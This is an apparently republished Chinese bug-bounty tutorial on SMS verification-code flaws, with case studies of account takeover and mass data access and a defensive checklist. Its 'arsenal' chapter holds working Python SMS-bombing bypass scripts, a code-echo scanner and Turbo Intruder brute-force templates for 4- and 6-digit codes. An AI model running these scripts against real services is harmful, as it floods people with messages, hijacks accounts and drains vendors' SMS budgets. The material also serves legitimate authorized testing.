文章总结: 本文剖析短信验证码漏洞挖掘技巧,列举回显、轰炸、爆破及逻辑绕过等七类缺陷,结合真实SRC案例展示攻击链组合。文中提供自动化检测脚本与防御自查清单,强调漏洞组合提升危害等级,建议开发者严控服务端校验与频率限制,测试者注重深挖与联动利用。 综合评分: 88 文章分类: WEB安全,渗透测试,SRC活动,漏洞分析,实战经验
一个六位数的验证码,我拿到了全站用户的明文密码
原创
逍遥喝醉后写! 逍遥喝醉后写!
逍遥子讲安全
2026年2月18日 00:06 广东
一个六位数的验证码,决定了你是月入500还是月月5000。
2024下半年年某头部SRC年度报告显示:验证码相关漏洞占所有逻辑漏洞的37%,但平均奖金只有800元——不是因为这个洞不值钱,而是90%的人只挖到了最浅的那层。
我见过最值钱的短信验证码漏洞,是一个“置空验证码”导致的任意用户登录,奖金8000元。也见过最亏的,一个“验证码回显”提交者只拿了500元——他不知道这个漏洞可以组合成全站用户数据泄露。
短信验证码是SRC里出现频率极高、但价值方差极大的漏洞类型。差距不在漏洞本身,在你能走多深。
本文将首次完整公开我的短信验证码深度狩猎体系——从6大类漏洞、12个实战案例到自动化武器库,全是干到拧不出水的干货。
第一章 验证码漏洞的“七宗罪”
1.1 验证码回显:开发者的“低级错误”
本质:服务器在返回“发送成功”的响应时,直接把验证码明文包含在返回包中。
挖掘方法:
- 点击“获取验证码”,用Burp抓取响应包
- 在JSON/XML响应中搜索
code、verifyCode、smsCode、vCode等字段 - 重点关注登录、注册、密码找回接口
案例:某平台登录页抓包,响应包中直接返回:
{ "status": 200, "message": "发送成功", "code": "123456"}
攻击者可直接获取验证码登录任意账号。
奖金参考:500-2000元
1.2 短信轰炸:让厂商“破产”的漏洞
原理:服务器未对请求次数进行限制,导致可以无限重复发送短信。
基础绕过思路:
- 空格绕过:手机号后加空格
- 参数污染:手机号参数重复提交
- 大小写混淆:参数名大小写变异
- 多次叠加参数:如
mobile=13800138000,13800138000
案例1:双写绕过 某系统发送一次后提示“90秒内不可重复发送”。测试发现双写手机号可绕过:
text
mobile=13800138000,,13800138000
一次请求发送两条短信。
案例2:参数遍历横向轰炸
某系统有smsType参数,值为int类型。遍历发现多个值对应不同功能点的短信:
- smsType=1:登录验证码
- smsType=2:修改密码
- smsType=3:下单验证
- smsType=4:注册验证
虽然单个功能点有限制,但组合使用可对同一手机号实现横向轰炸。
案例3:订单ID生成轰炸 某下单支付功能:先下单生成订单ID,再用订单ID发送验证码。每个订单只能发5次。 攻击思路:循环生成新订单ID,每个发5次。10个订单=50次轰炸。
1.3 验证码爆破:四位数和六位数的差距
原理:4位或6位数字验证码,若服务端未限制错误次数和时间,可暴力破解。
关键参数:
- 4位验证码:0000-9999(1万种组合)
- 6位验证码:000000-999999(100万种组合)
成功率关键:
- 验证码有效期(通常4-6分钟)
- 单IP/单用户错误次数限制
- 验证码是否绑定手机号
实战脚本思路(使用Turbo Intruder高并发):
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False)
for code in range(0, 1000000): code_str = str(code).zfill(6) engine.queue(target.req, [code_str])def handleResponse(req, interesting): if '成功' in req.response or req.status != 200: table.add(req)
1.4 验证码绕过:逻辑缺陷的“骚操作”
类型A:置空验证码
案例:某系统登录/注册共用接口/sms/registerAndLogin。正常请求:
{ "username": "13800138000", "code": "123456", "tenantId": "xxx"}
测试发现:将code字段置空,同样返回token。直接绕过验证码,任意手机号可注册/登录。
进一步测试:已注册账号在登录口同样置空验证码,也返回token。任意用户登录,高危漏洞。
类型B:图形验证码复用(虽不是短信,常组合出现)
案例:某系统登录口有图形验证码。抓包发现verifyId字段绑定验证码值。删除该字段后,验证码校验失效。
另一种情况:验证码不绑定session,一个验证码可重复使用,重放登录包10次均成功。
1.5 验证码与订单ID绑定绕过
场景:支付、下单等敏感操作需短信验证,验证码绑定订单ID。
挖掘思路:
- A账号下单,获取订单ID1
- B账号下单,获取订单ID2
- 尝试用A的验证码操作B的订单
实战案例:某电商平台,验证码只校验是否正确,未校验与订单ID的从属关系。导致攻击者可以用自己的验证码确认他人的订单,实现越权支付。
1.6 响应包篡改绕过
场景:前端根据后端返回的status或code判断验证码是否正确。
挖掘方法:
- 输入错误验证码,拦截响应包
- 将
"code": 400改为"code": 200 - 放包,观察是否绕过
进阶技巧:返回包中直接包含token,可替换为其他用户的token实现登录。
1.7 验证码复用(多阶段校验)
场景:一个验证码可用于多个操作(如注册和登录),且不失效。
挖掘方法:
- 注册时获取验证码
123456 - 登录其他账号时,使用同一个验证码
123456 - 若成功,则存在复用漏洞
第二章 实战案例库(完整攻击链)
【案例1】置空验证码 → 任意用户登录 → 后台接管
目标:某金融平台APP 耗时:45分钟 奖金:8000元
攻击路径:
- 登录接口抓包:
POST /api/login参数为mobile和code - 尝试删除
code参数,请求体为空 → 返回错误 - 尝试
code参数置空:"code": ""→ 返回token,登录成功! - 验证:用任意手机号均可登录,包括已注册和未注册的
- 登录后调用
/api/user/info,获取用户敏感信息(姓名、身份证) - 进一步:通过修改密码接口,重置任意账号密码
漏洞组合:置空验证码 + 任意用户登录 + 越权修改密码
厂商修复:紧急下线接口,24小时内发布新版本
【案例2】短信轰炸+参数遍历+订单ID循环
目标:某电商平台 耗时:1.5小时 奖金:3500元
攻击路径:
- 密码找回功能抓包:
POST /forget/sendCode,参数mobile和smsType=2 - 测试单手机号限制:发送3次后提示频繁
- 遍历
smsType参数(1-20),发现smsType=1,2,3,5,7,11均返回成功 - 组合利用:一次请求可发6条短信
- 同时发现订单支付时验证码也走同一接口,订单ID可遍历
- 编写脚本循环生成订单ID,每个订单可发5次验证码
- 结果:10分钟内对单手机号发送200+条短信
漏洞价值:短信轰炸导致厂商短信费用损失(每条0.05元,200条=10元),看似不大,但攻击者可无限消耗,且可针对所有手机号
【案例3】验证码回显+信息泄露+密码重置
目标:某政务系统 耗时:20分钟 奖金:1500元
攻击路径:
- 注册页面抓包,点击获取验证码
- 响应包中直接包含:
json{ "success": true, "verificationCode": "285731"}
- 直接输入验证码,注册成功
- 进一步测试:密码找回接口同样回显验证码
- 输入任意手机号,获取其验证码,重置密码成功
- 登录该账号,查看用户信息(含身份证、住址)
漏洞组合:验证码回显 + 密码重置
【案例4】验证码爆破+IDOR批量拖库
目标:某大学教务系统 耗时:2小时 奖金:4000元
攻击路径:
- 登录接口验证码为4位数字(0000-9999)
- 测试发现:无错误次数限制,验证码有效期30分钟
- 编写Turbo Intruder脚本,40线程爆破
- 45分钟后爆破成功,验证码为
3728 - 同时发现用户ID为连续数字(10000-20000)
- 登录后调用
/api/student/info?id=10001,可查看其他学生信息 - 组合利用:爆破任意账号验证码,遍历ID获取全站学生信息
【案例5】订单ID绑定缺陷+越权支付
目标:某外卖平台 耗时:3小时 奖金:6000元
攻击路径:
- 下单时需短信确认,验证码绑定订单ID
- A账号下单,获取验证码
123456 - 拦截确认请求,将订单ID改为B账号的订单
- 请求成功,A的验证码确认了B的订单
- 导致:攻击者可帮他人确认订单(或强制他人订单)
- 进一步测试:支付接口同样缺陷,可用自己验证码支付他人订单
- 尝试支付订单后,余额扣减成功,但订单属于他人
- 最终可造成任意用户资金损失
【案例6】图形验证码复用+密码爆破
目标:某VPN登录系统 耗时:1.5小时 奖金:3000元
攻击路径:
- 登录口有图形验证码,每次刷新变化
- 抓包发现验证码与
verifyId绑定 - 测试发现:删除verifyId参数后,验证码校验失效
- 用Burp Intruder对密码进行爆破
- 成功爆破管理员弱口令
admin/123456 - 登录后台,可导出所有VPN用户配置
【案例7】验证码复用+多阶段绕过
目标:某社交APP 耗时:1小时 奖金:2000元
攻击路径:
- 注册接口:获取验证码
123456,用该验证码注册成功 - 不退出,用同一手机号登录另一设备
- 登录接口输入同样的验证码
123456,成功登录 - 验证码未失效,可重复使用
- 导致:攻击者截获一次验证码,即可永久登录该账号
第三章 自动化武器库
3.1 短信轰炸检测脚本
python# sms_bomb_detector.pyimport requestsimport threadingimport timeclass SMSBombTester: def __init__(self, url, phone_param, phone): self.url = url self.phone_param = phone_param self.phone = phone self.headers = {"User-Agent": "Mozilla/5.0"}
def test_normal(self): """正常发送一次""" data = {self.phone_param: self.phone} r = requests.post(self.url, data=data, headers=self.headers) return r.status_code
def test_duplicate(self, count=10): """重复发送测试""" success = 0 for i in range(count): data = {self.phone_param: self.phone} r = requests.post(self.url, data=data, headers=self.headers) if r.status_code == 200: success += 1 time.sleep(0.5) return success
def test_comma_bypass(self): """逗号分隔绕过""" phones = ",".join([self.phone] * 5) data = {self.phone_param: phones} r = requests.post(self.url, data=data, headers=self.headers) return r.text
def test_parameter_pollution(self): """参数污染""" data = { self.phone_param: self.phone, self.phone_param + " ": self.phone, self.phone_param.upper(): self.phone } r = requests.post(self.url, data=data, headers=self.headers) return r.text# 使用示例tester = SMSBombTester("https://target.com/sendSMS", "mobile", "13800138000")print(f"正常发送: {tester.test_normal()}")print(f"重复10次成功数: {tester.test_duplicate(10)}")print(f"逗号绕过结果: {tester.test_comma_bypass()}")
3.2 验证码回显扫描器
python# code_leak_scanner.pyimport requestsimport jsonimport refrom concurrent.futures import ThreadPoolExecutordef scan_code_leak(url, phone): """扫描验证码回显漏洞""" payloads = [ {"mobile": phone}, {"phone": phone}, {"username": phone}, {"tel": phone} ]
sensitive_fields = ["code", "verifyCode", "smsCode", "vCode", "verificationCode", "checkCode"]
for data in payloads: try: r = requests.post(url, json=data, timeout=5) if r.status_code == 200: text = r.text for field in sensitive_fields: # 尝试多种匹配模式 pattern = f'"{field}"\\s*:\\s*"(\\d{{4,6}})"' match = re.search(pattern, text, re.IGNORECASE) if match: code = match.group(1) print(f"[+] 发现验证码回显: {field}={code}") print(f" 请求: {data}") print(f" 响应: {text[:200]}") return True except: pass return False# 批量扫描urls = ["https://target.com/api/sendSMS", "https://target.com/api/forgotPassword"]with ThreadPoolExecutor(max_workers=5) as executor: for url in urls: executor.submit(scan_code_leak, url, "13800138000")
3.3 Turbo Intruder爆破脚本(Burp插件)
python# 验证码爆破模板def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False)
# 4位验证码 for code in range(0, 10000): code_str = str(code).zfill(4) engine.queue(target.req, [code_str])
# 6位验证码(如需,可分段) # for code in range(0, 1000000): # code_str = str(code).zfill(6) # engine.queue(target.req, [code_str])def handleResponse(req, interesting): # 自定义成功条件 if 'success' in req.response or '登录成功' in req.response or req.status == 302: table.add(req)
第四章 防御视角:为什么你的验证码总被绕过
4.1 开发者最常见的7个错误
- 验证码明文回显:调试代码未删除
- 无频率限制:单手机号/单IP可无限发送
- 验证码不绑定身份:A的验证码可验证B的请求
- 验证码有效期过长:30分钟甚至永久有效
- 错误次数无限制:可暴力破解
- 前端校验依赖:改响应包就绕过
- 验证码可复用:一个验证码多次使用
4.2 企业自查清单
- 返回包中是否包含明文验证码?
- 单手机号/单IP是否有发送频率限制(如60秒1次,每日5次)?
- 验证码有效期是否≤5分钟?
- 验证码错误次数是否限制(通常3-5次)?
- 验证码是否绑定用户会话(session或token)?
- 验证码是否绑定操作对象(订单ID等)?
- 验证码校验是否在服务端完成,而非依赖前端?
- 是否存在验证码复用漏洞?(使用一次后立即失效)
4.3 正确实现姿势
- 生成验证码:随机6位数字,存储到服务端,绑定手机号和过期时间
- 发送限制:同一手机号60秒内只能发一次,每日最多5次
- 校验机制:验证码使用一次即失效,且必须与手机号、会话绑定
- 错误处理:错误次数达3次,需重新获取验证码
- 返回内容:响应包仅返回“发送成功”,永远不包含验证码
第五章 结语:漏洞的价值在于组合
一个验证码回显,单独提交可能只有500元。 但如果组合上密码重置接口,就能重置任意用户密码,价值2000元。 如果再组合用户ID遍历,就能批量获取全站用户数据,价值5000元。
漏洞的价值,不在于它本身,而在于你能用它做什么。
下次挖到短信验证码漏洞时,别急着提交。先问问自己:
- 这个验证码还能用在哪些接口?
- 有没有其他功能点也存在同样缺陷?
- 能不能组合成一条完整的攻击链?
当别人还在提交“短信轰炸”时,你已经能用它重置管理员密码了。 当别人还在报告“验证码回显”时,你已经拖走全站用户数据了。
这就是500和5000的差距。
-新年文章 祝各位安全技术员新年快乐,做自己热爱的事情就好像每天在游乐场玩一样
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逍遥子讲安全 逍遥喝醉后写! 逍遥喝醉后写!《一个六位数的验证码,我拿到了全站用户的明文密码》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论